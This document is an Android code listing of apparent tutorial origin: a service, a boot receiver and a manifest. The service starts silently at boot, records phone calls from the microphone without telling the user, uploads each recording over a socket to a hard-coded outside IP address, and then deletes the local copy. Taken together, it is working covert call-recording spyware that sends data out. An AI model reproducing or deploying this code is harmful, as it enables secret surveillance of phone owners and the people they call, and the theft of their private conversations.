PhoneListenService.java
[java]
package cn.itcast.phone;
import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;
import cn.itcast.utils.StreamTool;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneListenService extends Service {
private static final String TAG = "PhoneListenService";
@Override
public void onCreate() {
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
Log.i(TAG, "service created");
super.onCreate();
}
@Override
public void onDestroy() {//清空緩存目錄下的所有文件
File[] files = getCacheDir().listFiles();
if(files!=null){
for(File f: files){
f.delete();
}
}
Log.i(TAG, "service destroy");
super.onDestroy();
}
private class TelListener extends PhoneStateListener{
private MediaRecorder recorder;
private String mobile;
private File audioFile;
private boolean record;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state){
case TelephonyManager.CALL_STATE_IDLE: /* 無任何狀態時 */
if(record){
recorder.stop();//停止刻錄
recorder.release();
record = false;
new Thread(new UploadTask()).start();
Log.i(TAG, "start upload file");
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起電話時 */
Log.i(TAG, "OFFHOOK:"+ mobile);
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內容輸出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式
audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
recorder.setOutputFile(audioFile.getAbsolutePath());
recorder.prepare();//預期准備
recorder.start(); //開始刻錄
record = true;
break;
case TelephonyManager.CALL_STATE_RINGING: /* 電話進來時 */
Log.i(TAG, "incomingNumber:"+ incomingNumber);
mobile = incomingNumber;
break;
default:
break;
}
} catch (Exception e) {
Log.e(TAG, e.toString());
}
super.onCallStateChanged(state, incomingNumber);
}
private final class UploadTask implements Runnable{
@Override
public void run() {
try {
Socket socket = new Socket("220.113.15.71", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
audioFile.delete();
} catch (Exception e) {
Log.e(TAG, e.toString());
}
}
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
}
BootBroadcastReceiver.java
[java]
package cn.itcast.phone;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent service = new Intent(context, PhoneListenService.class);
context.startService(service);
}
}
AndroidManifest.xml
[html]
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phone"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name=".PhoneListenService" />
<receiver android:name=".BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 訪問網絡的權限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
</manifest>